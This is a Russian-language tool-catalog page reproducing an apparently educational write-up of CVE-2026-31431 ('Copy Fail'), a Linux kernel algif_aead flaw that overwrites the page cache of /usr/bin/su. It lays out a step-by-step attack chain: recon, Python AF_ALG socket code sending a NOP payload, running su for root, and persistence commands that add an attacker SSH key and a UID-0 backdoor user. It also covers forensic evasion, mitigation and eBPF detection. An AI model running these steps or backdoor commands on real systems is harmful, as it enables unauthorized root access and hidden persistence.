Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-31431-Report-Copy-fail-Vulnerability- — Подробный анализ уязвимости Copy Fail (CVE-2026-31431) в ядре Linux, включая механизм повреждения памяти, цепочку повышения привилегий и влияние на безопасность. | Kitploit
Инструменты/GitHubGitHub/krish-foren6/cve-2026-31431-report-copy-fail-vulnerability-
Повышение привилегийКриминалистика памятиАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеРеагирование на ИнцидентыПобег из Контейнера
GitHubkrish-foren6/cve-2026-31431-report-copy-fail-vulnerability-

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-31431-Report-Copy-fail-Vulnerability-

Подробный анализ уязвимости Copy Fail (CVE-2026-31431) в ядре Linux, включая механизм повреждения памяти, цепочку повышения привилегий и влияние на безопасность.

Репозиторий
13 месяцев назадЕщё не проверено

CVE-2026-31431 — Copy Fail: Повышение привилегий в ядре Linux

CVE CVSS Kernel Type Purpose

Образовательный анализ уязвимости Copy Fail в ядре Linux.
Рассматриваются механизм повреждения памяти, цепочка повышения привилегий, побег из контейнера и меры защиты.


⚠️ Отказ от ответственности

Этот репозиторий предназначен только для образовательных и исследовательских целей.
Не используйте эту информацию на системах, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
Все фрагменты кода и команды предоставлены исключительно для понимания внутреннего устройства ядра Linux.


Содержание

  • Обзор
  • Паспорт уязвимости
  • Базовые концепции
  • Как работает ошибка
  • Полная цепочка атаки
  • Почему это так опасно
  • Безопасное практическое наблюдение
  • Защита и обнаружение
  • Сравнение с похожими CVE
  • Глоссарий
  • Краткая справка

Обзор

CVE-2026-31431, также известная как Copy Fail, — это уязвимость ядра Linux, позволяющая непривилегированному локальному пользователю повысить привилегии до root без каких-либо специальных разрешений.

Атака полностью происходит в оперативной памяти. Файл на диске никогда не затрагивается — контрольные суммы файлов остаются чистыми, временные метки не меняются, а журналы аудита ничего не фиксируют. После перезагрузки системы все улики исчезают.

root@kitploit:~
Обычный пользователь  →  эксплойт ошибки algif_aead  →  перезапись page cache  →  root

Ключевые свойства:

  • ✅ Нет состояния гонки — работает надёжно каждый раз
  • ✅ Диск не затрагивается — криминалистика ничего не находит
  • ✅ Требуется только стандартная локальная учётная запись
  • ✅ Позволяет совершить побег из контейнера через общий page cache

Паспорт уязвимости


Базовые концепции

/usr/bin/su — целевой бинарный файл

su (Switch User) позволяет пользователю переключиться на другую учётную запись — обычно root. Это SetUID-бинарный файл:

root@kitploit:~
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
#   ^-- 's' = флаг SetUID

Флаг s означает: когда любой пользователь запускает этот бинарный файл, он выполняется с правами root. Это делает его ценной целью.

Его внутренняя логика (упрощённо):

root@kitploit:~
if (password_correct()) {
    give_root_access();
} else {
    deny_access();
}

Цель атаки: полностью пропустить проверку password_correct().


RAM и page cache

Когда Linux читает файл с диска, он сохраняет его копию в RAM, называемую page cache.

КомпонентОписание
ДискИсходный файл на диске (книжная полка)
Page CacheКопия файла в RAM (ксерокопия на вашем столе)
CPUЧитает и выполняет код из page cache — быстро
АтакующийИзменяет копию в RAM; диск остаётся нетронутым
root@kitploit:~
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB  ← это page cache

Буфер и безопасный буфер

ТипБезопасность
Безопасный буфер — выделен ядром, размер и границы контролируются✅ ОК
Page Cache — копия файла в RAM, общая, исполняемая⚠️ ОПАСНО при записи
Неверный указатель — адрес, полученный из-за ошибки, указывающий куда угодно🔴 КРИТИЧНО

AF_ALG и algif_aead

AF_ALG (Algorithm Family) — это сокетный интерфейс Linux, позволяющий программам пользовательского пространства использовать криптографические функции ядра (AES, SHA, AEAD).

root@kitploit:~
socket(AF_ALG, SOCK_SEQPACKET, 0);  // открыть крипто-сокет

algif_aead — это модуль ядра, обрабатывающий AEAD-шифрование (например, AES-GCM) через AF_ALG. Уязвимость находится в его шаге копирования данных.

root@kitploit:~
AF_ALG  →  algif_aead  →  движок AES-GCM  →  выходной буфер
                                ↑
                           ЗДЕСЬ ОШИБКА

Как работает ошибка

Ошибка не в логике шифрования. Она в работе с памятью — при копировании данных выбирается неверная область памяти.

Нормальный поток (без ошибки):

root@kitploit:~
destination = safe_output_buffer;       // правильное место
memcpy(destination, user_data, size);   // данные записаны безопасно

Уязвимый поток (с ошибкой):

root@kitploit:~
destination = buffer + WRONG_OFFSET;    // ОШИБКА: неверный указатель!
memcpy(destination, user_data, size);   // данные попадают в page cache

Ядро должно было записать в безопасный выходной буфер. Из-за неверно рассчитанного смещения оно записывает в page cache — где хранится копия /usr/bin/su в RAM.

Что атакующий меняет в памяти

Бинарный файл содержит машинный код x86-64. Атакующий нацеливается на условный переход, вызывающий сбой аутентификации:

До атаки:

root@kitploit:~
cmp  eax, 0     ; проверка возвращаемого значения
jne  0x1234     ; если ошибка → переход к отказу
call give_root  ; предоставить root

После атаки (2 байта изменены в RAM):

root@kitploit:~
cmp  eax, 0     ; то же самое
90 90           ; NOP NOP ← переход заменён, проверка пропущена!
call give_root  ; CPU попадает сюда напрямую

NOP = No Operation (нет операции). CPU ничего не делает и переходит дальше — полностью пропуская проверку аутентификации.


Полная цепочка атаки

Настрой перед атакой

«Мне нужна только обычная учётная запись пользователя. Ядро само совершит ошибку.
Диск останется чистым. Никаких журналов. Работает каждый раз.»

Шаг 0 — Разведка

root@kitploit:~
whoami && id
# uid=1000(user) gid=1000(user) ← обычный пользователь

uname -r
# 6.1.0-generic ← в уязвимом диапазоне

ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID подтверждён

python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG available')"

Шаг 1 — Загрузка файла в page cache

root@kitploit:~
cat /usr/bin/su > /dev/null
# /usr/bin/su теперь загружен в page cache ✓

Шаг 2 — Обратная разработка бинарного файла

root@kitploit:~
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su

Ищем: адрес функции аутентификации, условный переход jne/jnz и его точное байтовое смещение.

Шаг 3 — Открытие сокета AF_ALG

root@kitploit:~
import socket, struct

sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)

Шаг 4 — Отправка сформированной полезной нагрузки

root@kitploit:~
payload = b'\x90\x90'  # NOP NOP — заменяет условный переход
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])

Шаг 5 — Ядро перезаписывает page cache

root@kitploit:~
# Внутри ядра (упрощённо):
destination = buffer + crafted_offset  # ОШИБКА: неверный указатель
memcpy(destination, payload, 2)        # байты NOP записаны в page cache
# Проверка пароля /usr/bin/su теперь NOP NOP в RAM

Шаг 6 — Запуск

root@kitploit:~
su
# Password: (что угодно — или просто Enter)
# root@victim:/# ← ПОЛУЧЕН ROOT

Что произошло: Система выполнила /usr/bin/su из RAM. Проверка пароля была NOP. CPU пропустил её. give_root() был вызван напрямую.

Шаг 7 — Закрепление (необязательно)

root@kitploit:~
echo 'attacker_public_key' >> /root/.ssh/authorized_keys

useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd

Почему это так опасно

Нет состояния гонки

Диск не тронут — криминалистика бессильна

После атаки следователь-криминалист обнаружит:

root@kitploit:~
sha256sum /usr/bin/su       # ТА ЖЕ контрольная сумма, что и раньше ← диск не тронут
diff /usr/bin/su backup/su  # Нет различий
grep -r 'attack' /var/log/  # Ничего
auditd logs                 # Записи о записи файла отсутствуют

После перезагрузки RAM очищается — все улики исчезают.

Побег из контейнера

Контейнеры изолируют пользовательское пространство — но ядро является общим, а page cache — это память ядра.

root@kitploit:~
Ядро хоста
├── Контейнер 1 (изолированное пользовательское пространство)
│   └── Здесь находится атакующий
├── Контейнер 2
└── Процесс хоста

Page Cache: ОБЩИЙ для всех контейнеров и хоста!

Путь побега: Атакующий в Контейнере 1 читает /usr/bin/su хоста → запускает ошибку → бинарный файл хоста изменён в RAM → запуск su на хосте даёт root на хостовой машине.

Затронуты: Docker, Podman, LXC, Kubernetes (общие узлы) — если ядро хоста уязвимо.


Безопасное практическое наблюдение

Это упражнения только для наблюдения. Для любого тестирования используйте лабораторную среду (Docker + ВМ со старым ядром).

Наблюдение за page cache

root@kitploit:~
free -h                      # запомните значение Cache до
cat /usr/bin/su > /dev/null  # загрузите файл в page cache
free -h                      # Cache немного увеличится

Просмотр отображения памяти бинарного файла

root@kitploit:~
su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su

Изучение бинарного файла

root@kitploit:~
xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'

Просмотр ассемблерного кода (gdb)

root@kitploit:~
sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit

Контрольная сумма диска и RAM

root@kitploit:~
sha256sum /usr/bin/su
# Обычно совпадает с диском — отличается после успешной атаки
# Сравнение /proc/PID/mem требует прав root

Защита и обнаружение

Немедленное смягчение

Приоритет 1 — Обновление ядра (лучшее решение)

root@kitploit:~
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot

# RHEL / CentOS
sudo yum update kernel
sudo reboot

Приоритет 2 — Отключение algif_aead

root@kitploit:~
sudo modprobe -r algif_aead

echo 'install algif_aead /bin/false' | \
  sudo tee /etc/modprobe.d/disable-algif-aead.conf

Приоритет 3 — Контроль доступа
Примените профили seccomp с SystemCallFilter в службах systemd, чтобы ограничить доступ к сокетам AF_ALG для недоверенных процессов.


Обнаружение

Обнаружение в реальном времени с помощью eBPF

root@kitploit:~
sudo bpftrace -e '
  kprobe:algif_aead_sendmsg {
    printf("ALERT: algif_aead sendmsg by PID %d (user %d)\n", pid, uid);
  }
'

Укрепление контейнеров

root@kitploit:~
# Запуск с профилем seccomp (блокирует AF_ALG)
docker run --security-opt seccomp=custom-profile.json my-image
  • Используйте профили seccomp, блокирующие создание сокетов AF_ALG
  • Используйте gVisor или аналогичную изоляцию ядра для высокорисковых рабочих нагрузок
  • Избегайте привилегированных контейнеров
  • Устанавливайте корневую файловую систему контейнера в режим только для чтения
  • Применяйте стандарты безопасности Pod в Kubernetes — политику restricted

Сравнение с похожими CVE

CVE-2026-31431 сочетает скрытность (диск не изменён) + надёжность (нет состояния гонки) + побег из контейнера — что делает её уникально опасной среди своего класса.


Глоссарий


Краткая справка

Цепочка атаки с первого взгляда

Контрольный список защиты

  • Немедленно обновите ядро до исправленной версии
  • Отключите модуль algif_aead, если он не требуется
  • Включите мониторинг на уровне ядра eBPF или Falco
  • Обновите профили seccomp контейнеров для блокировки AF_ALG
  • Запланируйте проверки целостности бинарных файлов на основе памяти
  • Пересмотрите и обновите план реагирования на инциденты

Одной строкой

В CVE-2026-31431 криптомодуль Linux (algif_aead) содержит ошибку копирования памяти, из-за которой данные, контролируемые атакующим, попадают в page cache вместо безопасного выходного буфера — незаметно изменяя SetUID-бинарный файл в RAM — что позволяет любому локальному пользователю получить root-доступ, не оставляя ни единого следа на диске.


Этот документ подготовлен для образовательного понимания внутренней безопасности ядра Linux.
— Только в образовательных целях —

📄 Полный отчёт (PDF)

👉 Скачать полный отчёт

Скачать инструмент
ПолеЗначение
Идентификатор CVECVE-2026-31431
Общепринятое названиеCopy Fail / Повреждение page cache в algif_aead
Оценка CVSS v3.17.8 — КРИТИЧЕСКАЯ
Тип атакиЛокальное повышение привилегий (LPE)
Затронутые версии ядраLinux 5.10 – 6.8 (приблизительно)
Уязвимый компонентcrypto/algif_aead.c — сокетный интерфейс AF_ALG
Надёжность эксплуатацииВЫСОКАЯ — состояние гонки не требуется
Улики на дискеОТСУТСТВУЮТ — изменение только в RAM
Влияние на контейнерыДА — побег на хост через общий page cache
Статус исправленияДоступно (выпущен патч вышестоящего ядра)
CVEСостояние гонки?Диск в безопасности?Надёжность
CVE-2016-5195 DirtyCowДА — требуется точное времяНЕТ — диск изменёнСредняя
CVE-2022-0847 DirtyPipeМинимальноеДА — только RAMВысокая
CVE-2026-31431 Copy FailНЕТ — прямая записьДА — только RAMОЧЕНЬ ВЫСОКАЯ
Метод обнаруженияРаботает?
sha256sum / контрольная сумма файла❌ Диск идентичен
Временная метка изменения файла❌ Диск не тронут
Журналы записи файлов auditd❌ Записи на диск не производилось
Проверка памяти процесса (/proc)✅ Только при мониторинге в реальном времени
Мониторинг ядра eBPF✅ Обнаружение на уровне системных вызовов
Криминалистика памяти (LiME)✅ Но сложно
МетодКоманда / Подход
Версия ядраuname -r → сравните с исправленной версией
Загружен ли модуль?lsmod | grep algif_aead
Мониторинг eBPFbpftrace -e 'kprobe:algif_aead_sendmsg { ... }'
Память процессаcat /proc/PID/maps — сравните с контрольной суммой диска
auditdausearch -sc socket -sv no
FalcoПравило: неожиданный memfd или запись в page cache
Криминалистика памятиДамп LiME для анализа после инцидента
CVE / НазваниеСостояние гонки?Диск в безопасности?Побег из контейнера?Надёжность
CVE-2016-5195 DirtyCowДА — требуется точное время❌ Диск изменёнЧастичныйСредняя
CVE-2022-0847 DirtyPipeМинимальное✅ Только RAMДАВысокая
CVE-2026-31431 Copy FailНЕТ — прямая запись✅ Только RAMДА — общий кэшОЧЕНЬ ВЫСОКАЯ
ТерминЗначение
Повышение привилегийПереход от обычного пользователя к root без авторизации
Page CacheКопия файла, хранящаяся в RAM, управляемая ядром
SetUID-бинарный файлФайл, принадлежащий root, который выполняется с правами root для любого пользователя
Примитив записиВозможность произвольной записи в память, полученная через ошибку
Состояние гонкиАтака, основанная на времени, требующая точного окна выполнения
AF_ALGСокетный криптографический интерфейс ядра Linux (Algorithm Family)
algif_aeadМодуль ядра для AEAD-шифрования — уязвимый компонент
memcpy()Функция копирования памяти — перемещает данные из одного адреса в другой
NOPNo Operation — инструкция CPU, которая ничего не делает и переходит дальше
Побег из контейнераВыход из контейнера для доступа к хостовой системе
eBPFИнструмент мониторинга на уровне ядра для обнаружения системных вызовов в реальном времени
LiMELinux Memory Extractor — инструмент дампа RAM для криминалистического анализа
SeccompSecure Computing — механизм Linux для ограничения системных вызовов
ELFExecutable and Linkable Format — стандартный формат бинарных файлов Linux
CVECommon Vulnerabilities and Exposures — идентификатор уязвимости
CVSSCommon Vulnerability Scoring System — стандартизированная оценка серьёзности
Модуль ядраПлагин ядра (например, драйверы устройств, обработчики криптографии)
СмещениеРасстояние в байтах от одной точки памяти до другой
Обратная разработкаАнализ скомпилированного бинарного файла без доступа к исходному коду
ШагДействие
1whoami — убедитесь, что вы обычный пользователь
2uname -r — проверьте, что ядро в уязвимом диапазоне (5.10 – 6.8)
3ls -la /usr/bin/su — убедитесь, что флаг SetUID присутствует
4Запустите скрипт эксплойта: AF_ALG → algif_aead → сформированная полезная нагрузка
5Срабатывает ошибка ядра → page cache /usr/bin/su перезаписан в RAM
6Запустите su → ПОЛУЧЕН root (пароль не требуется)
7Закрепление: добавьте SSH-ключ или создайте root-пользователя-бэкдор